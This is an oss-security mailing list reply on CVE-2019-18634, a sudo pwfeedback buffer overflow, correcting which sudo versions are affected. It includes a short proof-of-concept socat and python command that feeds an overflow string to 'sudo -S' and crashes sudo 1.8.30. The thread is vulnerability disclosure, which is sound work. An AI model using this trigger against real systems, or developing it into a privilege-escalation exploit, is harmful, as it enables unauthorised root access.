Date: Wed, 5 Feb 2020 22:34:53 +1100 From: William Bowling <will@...wling.info> To: oss-security@...ts.openwall.com Subject: Re: CVE-2019-18634: buffer overflow in sudo when pwfeedback is enabled When using a pty, sudo_term_eof and sudo_term_kill are initialized to 0x4 and 0x15 allowing the overflow to be reached, making 1.8.26-1.8.30 also vulnerable: $ socat pty,link=/tmp/pty,waitslave exec:"python -c 'print((\"A\"*100+chr(0x15))*50)'" & $ sudo -S id < /tmp/pty [sudo] password for user1: Segmentation fault $ sudo -V Sudo version 1.8.30 Sudoers policy plugin version 1.8.30 Sudoers file grammar version 46 Sudoers I/O plugin version 1.8.30 - Will On Sat, Feb 1, 2020 at 12:59 AM Todd C. Miller <Todd.Miller@...o.ws> wrote: > On Thu, 30 Jan 2020 11:23:28 -0700, "Todd C. Miller" wrote: > > > Sudo versions affected: > > > > Sudo versions 1.7.1 to 1.8.30 inclusive are affected but only if > > the "pwfeedback" option is enabled in sudoers. > > It turns out a change in EOF handling introduced in sudo 1.8.26 > prevents exploitation of the bug. The EOF character is also > initialized to 0 and sudo 1.8.26 checks for EOF before it checks > for the kill character. > > This means that the bug actually affects sudo versions 1.7.1 to > 1.8.25p1 inclusive. > > Sorry for the oversight. I've updated the affected versions in > https://www.sudo.ws/alerts/pwfeedback.html > > - todd > -- GPG Key ID: 0x980F711A GPG Key Fingerprint: AA38 2A0E 7D22 18A9 6086 0289 41DC E04B 980F 711A
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